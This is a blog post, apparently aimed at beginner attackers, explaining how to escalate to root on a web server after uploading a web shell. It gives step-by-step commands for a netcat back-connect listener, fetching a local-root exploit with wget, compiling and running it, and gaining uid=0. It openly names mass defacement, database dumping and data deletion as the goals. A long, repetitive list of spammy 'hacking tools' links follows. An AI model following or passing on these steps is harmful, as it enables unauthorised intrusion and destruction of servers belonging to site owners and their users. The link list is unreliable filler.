Thursday 25 May 2023

HOW TO ROOT A SERVER? – SERVER ROOTING

Servers serve the requests made by the users to the web pages, it acts as a helping hand who serves the requested meal for you. Here I am sharing how to root a server. Root is the Administrator of all server. If someone got root access to it, he can do anything with a server like delete and copy anything on the server, can deface all the websites (massive deface ).
We can't talk about root on windows. That enough for a beginner because if I talk about the root I need another book. So, I guess now we know the importance of root access and why we try to get root.

HOW TO ROOT A SERVER?

There are 3 ways to get ROOT on the server :
1 – With local Root.
2 – With SQL by reading the same important files on it root password.
3 – With exploit on software (Buffer Overflow).
In this post, we will explain local Root. I will explain the other ways soon in some other post.
OK, let's back to work.
After Uploading your shell on the server and getting the local root you will do a back connect and run the local root to Get root. This is a small idea of how it works in the next step you will see how to
find local root and run it to get root access.

HOW TO SEARCH LOCAL ROOT?

First of all we you need to know what version of Kernel.
You can know that from your shell, for example, this version is 2.6.18 – 2012
Go to EXECUTE on your shell and write  "uname -a". You will get the same result, by the way.
Now how to find the local root.
You can use various websites like Exploit-db, packetstormsecurity, vfocus, injector, etc who provides these local roots. One more thing to notice is, that there exist two types of local roots :
1. Local.C: which are not ready.
2. Local: ready to use.

HOW TO GET ROOT ACCESS?

First, you need a shell with a Back Connect option like this :
Enter your "Public IP Address" in SERVER, the port you want to connect on and leave it, Perl, this time, and Finally connect.
So now you must receive the back connect with a Tool named netcat u can download it from the
net. After that open your terminal if you are under Linux or CMD  if you are under Windows. I will explain only Linux, and for Windows, its all the same.
After that Follow the steps :
1- Press nc -vlp 433
2- Wget [the link of the local-Root.zip]
3 – unzip local-Root.zip

4 – chmod 777 local.c

5 – now to change the local-root from local.c > local
gcc local.c -o local Then you will find local.c transformed to local

6 – chmod 777 local

7 – ./local to local rootwork

8 – su
then see your id uid=0(root) gid=0(root) groups=0(root)


Getting UID=0 means, u had got root privileges and hence can do a variety of stuff on the remote server say Mass deface, dump database, redirect sites, change content, etc etc.
AFTER THE ROOT 
As server gets rooted, you're able to do the many things with it like I mentioned above. Such as, withdrawal of domains, massive deface and also deletion of the data completely.

Related articles


  1. Pentest Tools Review
  2. Kik Hack Tools
  3. Pentest Box Tools Download
  4. Ethical Hacker Tools
  5. Pentest Tools Download
  6. Tools Used For Hacking
  7. Hacker Tools Online
  8. Hacker Tools Apk Download
  9. Tools For Hacker
  10. How To Make Hacking Tools
  11. Hacker
  12. Pentest Tools For Mac
  13. Hacker Tools Software
  14. Pentest Tools Nmap
  15. Hacker Security Tools
  16. Pentest Tools Website
  17. Hacker Tools Free Download
  18. Pentest Tools Download
  19. Wifi Hacker Tools For Windows
  20. Hacking Tools Usb
  21. Hacker Tools Apk
  22. Ethical Hacker Tools
  23. Hacking Tools For Mac
  24. Pentest Tools Alternative
  25. World No 1 Hacker Software
  26. Blackhat Hacker Tools
  27. Hackrf Tools
  28. Hacking Tools 2019
  29. Hacker Tools
  30. Android Hack Tools Github
  31. Github Hacking Tools
  32. Hacker Tools Apk Download
  33. Hacker
  34. Hacking Tools For Windows 7
  35. Hack Tools Online
  36. Hack Tools Mac
  37. Beginner Hacker Tools
  38. New Hack Tools
  39. Hacking Tools And Software
  40. Hack Tools Online
  41. Hack Tools Download
  42. What Are Hacking Tools
  43. Hack Tools For Ubuntu
  44. Hacking Tools Mac
  45. Hacking Tools Github
  46. Hacker Tools Apk
  47. Hack Tools For Windows
  48. Pentest Tools Android
  49. Hacker Tools Github
  50. Hacker Tools
  51. Hacking Tools
  52. Best Hacking Tools 2019
  53. Hacking Tools Free Download
  54. Pentest Tools
  55. Hack Tools Github
  56. Hack Tools
  57. Hack Apps
  58. Hacking Tools For Games
  59. Hacker Tools Free
  60. Hack Tools Github
  61. Pentest Tools Tcp Port Scanner
  62. Ethical Hacker Tools
  63. Hacking Tools Usb
  64. Kik Hack Tools
  65. Hacking Tools For Windows
  66. Termux Hacking Tools 2019
  67. Computer Hacker
  68. Bluetooth Hacking Tools Kali
  69. Pentest Tools Nmap
  70. Hack Tools For Games
  71. Pentest Tools Windows
  72. Hack App
  73. Hacking Tools For Windows
  74. Best Pentesting Tools 2018
  75. Hacker Tools Apk Download
  76. Pentest Tools Port Scanner
  77. Pentest Tools List
  78. Hacker Tools Apk Download
  79. How To Make Hacking Tools
  80. Hacking Tools Name
  81. Ethical Hacker Tools
  82. Easy Hack Tools
  83. Nsa Hacker Tools
  84. Hacking Tools For Games
  85. Hacking Tools For Pc
  86. Hacking Tools Hardware
  87. Hackers Toolbox
  88. Pentest Tools Nmap
  89. Pentest Tools Website
  90. Hacker Tools For Pc
  91. Hacking Tools For Windows Free Download
  92. Pentest Tools Kali Linux
  93. Hack App
  94. Hacker Tools For Mac
  95. Hacking Tools Pc
  96. Hack Tool Apk
  97. Hack Tool Apk
  98. Hack Tools For Ubuntu
  99. Hacking Tools Windows 10
  100. Hacker Tools 2019
  101. Hacker Tools Github
  102. Hacking Tools Usb
  103. Hacker Tools For Windows
  104. Hacking Tools Free Download
  105. Pentest Tools Download
  106. Kik Hack Tools
  107. Growth Hacker Tools
  108. Hacking Tools Online
  109. Hack Tools For Mac
  110. Hacker Tools Free Download
  111. Nsa Hack Tools Download
  112. Pentest Tools Url Fuzzer
  113. Pentest Recon Tools
  114. Hacking Tools Mac
  115. Hacker Tools Software
  116. Hacking Tools For Windows 7
  117. Hacking Tools Pc
  118. Pentest Tools Website Vulnerability
  119. Pentest Tools Tcp Port Scanner
  120. Pentest Tools Github
  121. Hacker Tools Online
  122. Hacker Hardware Tools
  123. Beginner Hacker Tools
  124. World No 1 Hacker Software
  125. Hacking Tools Software
  126. Hacker Tools Free Download
  127. How To Install Pentest Tools In Ubuntu
  128. Hacker Techniques Tools And Incident Handling
  129. Blackhat Hacker Tools
  130. Pentest Tools Port Scanner
  131. Hack Apps
  132. Pentest Tools Framework
  133. Hack Tools 2019
  134. Hacker Tools Software
  135. Blackhat Hacker Tools
  136. Hacking Tools 2019
  137. Android Hack Tools Github
  138. Hacking Tools 2019
  139. Best Pentesting Tools 2018
  140. Pentest Tools For Windows
  141. Hacker Tools For Ios
  142. Hacking Tools Software
  143. Pentest Reporting Tools
  144. Hacker
  145. Beginner Hacker Tools
  146. Hack Tools For Windows
  147. Usb Pentest Tools
  148. Free Pentest Tools For Windows
  149. Game Hacking
  150. World No 1 Hacker Software
  151. Game Hacking
  152. Hacking Tools Download
  153. Pentest Tools Windows
  154. Ethical Hacker Tools
  155. Hacking Tools For Windows Free Download
  156. Hacker Tools Apk Download
  157. Usb Pentest Tools
  158. Best Hacking Tools 2020
  159. Hacking Tools Free Download
  160. Pentest Tools List
  161. Pentest Tools Tcp Port Scanner
  162. Nsa Hack Tools
  163. Hack Tools For Ubuntu

0 comments:

Post a Comment